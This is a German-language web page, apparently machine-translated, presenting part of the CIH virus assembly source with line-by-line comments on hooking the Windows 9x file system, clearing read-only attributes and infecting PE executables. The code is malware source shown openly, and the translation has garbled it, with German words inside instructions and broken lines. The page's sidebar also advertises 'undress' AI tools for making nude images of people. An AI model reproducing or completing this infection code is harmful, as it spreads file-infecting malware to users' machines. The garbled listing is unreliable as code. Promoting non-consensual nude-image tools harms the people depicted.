


Analyse von Beispielen für den Quellcode von Virenprogrammen – CIH-Virus[3]
jmp ExitRing0Init ;Exit Ring0 level
;Zusammengeführte Codegröße
CodeSizeOfMergeVirusCodeSection = offset $
;Neuer IFSMgr_InstallFileSystemApiHook-Funktionsaufruf
InstallFileSystemApiHook:
push ebx
call @4
@4:
pop ebx; Holen Sie sich die Offset-Adresse der aktuellen Anweisung
add ebx, FileSystemApiHook-@4; Die Differenz plus der Offset ist gleich FileSystemApiHook Offset
push ebx
int 20h; Rufen Sie Vxd auf, um den Hook zu entfernen, der auf FileSystemApiHook zeigt
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h; Verwenden Sie die Register eax, ecx, edx und flags Pop Eax
;Rufen Sie die ursprüngliche IFSMgr_InstallFileSystemApiHook-Funktion auf, um den FileSystemApiHook-Hook zu verbinden
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx <.> drücken eax
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax ;OldFileSystemApiHook-Adresse anpassen
pop eax
pop ebx
ret
OldInstallFileSystemApiHook dd;Original InstallFileSystemApiHook-Aufrufadresse
;IFSMgr_FileSystemHook-Aufrufeintrag
FileSystemApiHook:
@3 = FileSystemApiHook
push ad ; save register
call @5
@5:
mov esi, offset ; add esi, VirusGameDataStartAddress- @5 ;esi ist der Offset von FileSystemApiHook
;;Die Differenz plus der Offset von VirusGameDataStartAddress ist gleich dem Offset von VirusGameDataStartAddress
;Testen Sie das „Busy“-Flag, und „Busy“ geht an pIFSFunc
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc
; Wenn die Datei nicht geöffnet ist, gehe zu prevhook
lea ebx, [esp+20h+04h +04h] ;ebx ist die Adresse von FunctionNum
;Das Aufrufformat des Dateisystem-Hooks ist wie folgt
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
;int ResourceFlags, int CodePage, pioreq pir)
🎜>; Bestimmen Sie, ob dieser Aufruf eine Datei öffnen soll. Wenn nicht, springen Sie zum vorherigen Datei-Hook
cmp dword ptr [ebx], 00000024h
jne prevhook
inc byte ptr (OnBusy -@6)[esi] ; OnBusy aktivieren ;Setzen Sie das „Busy“-Flag auf „Busy“
;Rufen Sie den durch den Dateipfad angegebenen Laufwerksbuchstaben ab und geben Sie dann den ein Laufwerksname in FileNameBuffer
;Wenn der Laufwerksbuchstabe 03h ist, bedeutet dies, dass das Laufwerk C-Laufwerk ist
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6; esi zeigt auf FileNameBuffer
push esi; save
mov al, [ebx +04h] ;ebx+4 ist die Adresse der Festplattennummer
;; Ist es eine UNC-Adresse (Universal Naming Conventions)? Wenn ja, transfer to CallUniToBCSPath
cmp al, 0ffh
je CallUniToBCSPath
Add al, 40h
mov ah, ':'
mov [esi], eax ; in die Form „X:“ verarbeitet, d. h. nach dem Laufwerksbuchstaben einen Doppelpunkt hinzufügen
inc esi
inc esi
; call method
; UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
; unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;Zeichensatz
push FileNameBufferSize ;Zeichenlänge
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
eax hinzufügen, 04h
push eax ; Uni-Zeichen erste Adresse
push esi ; BCS-Zeichen erste Adresse
int 20h ; Call UniToBCSPath
UniToBCSPath = $
dd 00400041h Call id
add esp, 04h*04h
;Bestimmen Sie, ob die Datei eine EXE-Datei ist
cmp [esi+ eax-04h], „EXE.“ ], 'KCUF'
jne DisableOnBusy
ENDIF
;Beurteilungsdatei Ob vorhanden, wenn nicht, gehen Sie zu DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy
; Holen Sie sich die Dateiattribute
mov ax, 4300h
int 20h; Rufen Sie IFSMgr_Ring0_FileIO = $
dd 00400032h auf; 🎜 >
jc DisableOnBusy
push ecx
; IFSMgr_Ring0_FileIO-Adresse abrufen
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]
; Stellen Sie fest, ob die Datei schreibgeschützt ist. Wenn ja, ändern Sie die Dateiattribute. Andernfalls gehen Sie zu OpenFile
test cl, 01h
jz OpenFile
mov ax, 4301h
xor ecx, ecx
call edi ;Rufen Sie die Funktion von IFSMgr_Ring0_FileIO auf, um die Dateiattribute zu ändern, um die Datei beschreibbar zu machen
;Öffnen Sie die Datei
OpenFile:
;Dateiattribute
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi ist die erste Adresse des Dateinamens
call edi ;Rufen Sie die Funktion von IFSMgr_Ring0_FileIO auf, um die Datei zu öffnen
xchg ebx, eax ;Speichern Sie das Dateihandle in ebx
test cl, 01h
jz IsOpenFileOK
;Dateiattribute wiederherstellen
mov ax, 4301h
call edi;Dateiattribute wiederherstellen
;Ob die Datei erfolgreich geöffnet wurde, wenn nicht, dann wenden Sie sich an DisableOnBusy
IsOpenFileOK:
popf
jc DisableOnBusy
; Die Datei wurde erfolgreich geöffnet
push esi; Push die erste Adresse des Dateinamen-Datenbereichs auf den Stapel
pushf ;CF = 0, Flag speichern
add esi, DataBuffer-@7;
;Den Offset des neuen Dateiheaders abrufen
xor eax, eax
mov ah, 0d6h;Die Lesedatei-Funktionsnummer (R0_READFILE) von IFSMgr_Ring0_FileIO
;Um Minimieren Sie die Länge des Virencodes, speichern Sie eax in ebp
mov ebp, eax
Push 00000004h ; Lesen Sie 4 Bytes
pop ecx
push 0000003ch ; Lesen Sie den Windows-Datei-Header-Offset unter DOS Datei-Header-Offset 3ch
pop edx
call edi ; Read File to esi
mov edx, [esi] ; Windows-Datei-Header-Offset zu edx
; infizierte Markierung des Grafikdatei-Headers
dec edx
mov eax, ebp ; Funktionsnummer
; Datei nach esi lesen
; bestimmen Sie, ob es sich um PE handelt ob es infiziert wurde
; Bestimmen Sie, ob es sich um eine selbstextrahierende WinZip-Datei handelt. Wenn ja, wird sie nicht mit Self-Extractor infiziert *
cmp dword ptr [esi], 00455000h; PE-Datei (Markierung „PE/0/0“)
jne CloseFile; Wenn nicht, schließen Sie die Datei
;Wenn es sich um eine PE-Datei handelt und sie nicht infiziert ist, beginnen Sie mit der Infektion der Datei
push ebx;Datei-Handle speichern
push 00h
;Virusinfektionsflagge setzen
push 01h ; Markieren Sie die Größe
push edx ; zeigt auf PE-Datei-Header-Offset 00h
push edi ; edi ist die Adresse von IFSMgr_Ring0_FileIO
mov dr1, esp ; save esp
; Set NewAddressOfEntryPoint Entry
; Read file header
mov eax, ebp
mov cl, SizeOfImageHeaderToRead ; Um 2 Bytes zu lesen
edx hinzufügen, 07h ;PE-Dateiheader +07h Für NumberOfSections (Anzahl der Blöcke)
rufen Sie edi auf; lesen Sie NumberOfSections (Anzahl der Blöcke) zu esi
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; file pointer
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax;
;Setzen Sie den Wert von edx an den Anfang der Dateivirus-Codeblocktabelle
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+ 12h] ; edx ist der Offset der Virencode-Blocktabelle
; Die Größe von
mov al, SizeOfScetionTable ; Die Größe jedes Blocktabelleneintrags
mov cl, (NumberOfSections-@8)[esi]
mul cl ; Die Multiplikation jedes Blocktabelleneintrags Die Anzahl der Blöcke entspricht der Größe der Blocktabelle
; Viruscode-Blocktabelle
lea esi, (StartOfSectionTable-@8)[esi]; zeigt auf die erste Adresse der Blocktabelle (im dynamischen Datenbereich des Virus)
Das Obige ist der Inhalt von Beispielanalyse des Virenprogramm-Quellcodes – CIH-Virus [3]. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.cn)!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



Alipay PHP ...

JWT ist ein offener Standard, der auf JSON basiert und zur sicheren Übertragung von Informationen zwischen Parteien verwendet wird, hauptsächlich für die Identitätsauthentifizierung und den Informationsaustausch. 1. JWT besteht aus drei Teilen: Header, Nutzlast und Signatur. 2. Das Arbeitsprinzip von JWT enthält drei Schritte: Generierung von JWT, Überprüfung von JWT und Parsingnayload. 3. Bei Verwendung von JWT zur Authentifizierung in PHP kann JWT generiert und überprüft werden, und die Funktionen und Berechtigungsinformationen der Benutzer können in die erweiterte Verwendung aufgenommen werden. 4. Häufige Fehler sind Signaturüberprüfungsfehler, Token -Ablauf und übergroße Nutzlast. Zu Debugging -Fähigkeiten gehört die Verwendung von Debugging -Tools und Protokollierung. 5. Leistungsoptimierung und Best Practices umfassen die Verwendung geeigneter Signaturalgorithmen, das Einstellen von Gültigkeitsperioden angemessen.

In Artikel wird die in PHP 5.3 eingeführte LSB -Bindung (LSB) erörtert, die die Laufzeitauflösung der statischen Methode ermöglicht, um eine flexiblere Vererbung zu erfordern. Die praktischen Anwendungen und potenziellen Perfo von LSB

In Artikel werden wichtige Sicherheitsfunktionen in Frameworks erörtert, um vor Schwachstellen zu schützen, einschließlich Eingabevalidierung, Authentifizierung und regelmäßigen Aktualisierungen.

Senden von JSON -Daten mithilfe der Curl -Bibliothek von PHP in der PHP -Entwicklung müssen häufig mit externen APIs interagieren. Eine der gängigen Möglichkeiten besteht darin, die Curl Library zu verwenden, um Post � ...

In dem Artikel werden Frameworks hinzugefügt, das sich auf das Verständnis der Architektur, das Identifizieren von Erweiterungspunkten und Best Practices für die Integration und Debuggierung hinzufügen.

Die Anwendung des soliden Prinzips in der PHP -Entwicklung umfasst: 1. Prinzip der Einzelverantwortung (SRP): Jede Klasse ist nur für eine Funktion verantwortlich. 2. Open and Close Principle (OCP): Änderungen werden eher durch Erweiterung als durch Modifikation erreicht. 3.. Lischs Substitutionsprinzip (LSP): Unterklassen können Basisklassen ersetzen, ohne die Programmgenauigkeit zu beeinträchtigen. 4. Schnittstellen-Isolationsprinzip (ISP): Verwenden Sie feinkörnige Schnittstellen, um Abhängigkeiten und nicht verwendete Methoden zu vermeiden. 5. Abhängigkeitsinversionsprinzip (DIP): Hoch- und niedrige Module beruhen auf der Abstraktion und werden durch Abhängigkeitsinjektion implementiert.

Die Hijacking der Sitzung kann in den folgenden Schritten erreicht werden: 1. Erhalten Sie die Sitzungs -ID, 2. Verwenden Sie die Sitzungs -ID, 3. Halten Sie die Sitzung aktiv. Zu den Methoden zur Verhinderung der Sitzung der Sitzung in PHP gehören: 1. Verwenden Sie die Funktion Session_regenerate_id (), um die Sitzungs -ID zu regenerieren. 2. Store -Sitzungsdaten über die Datenbank, 3. Stellen Sie sicher, dass alle Sitzungsdaten über HTTPS übertragen werden.
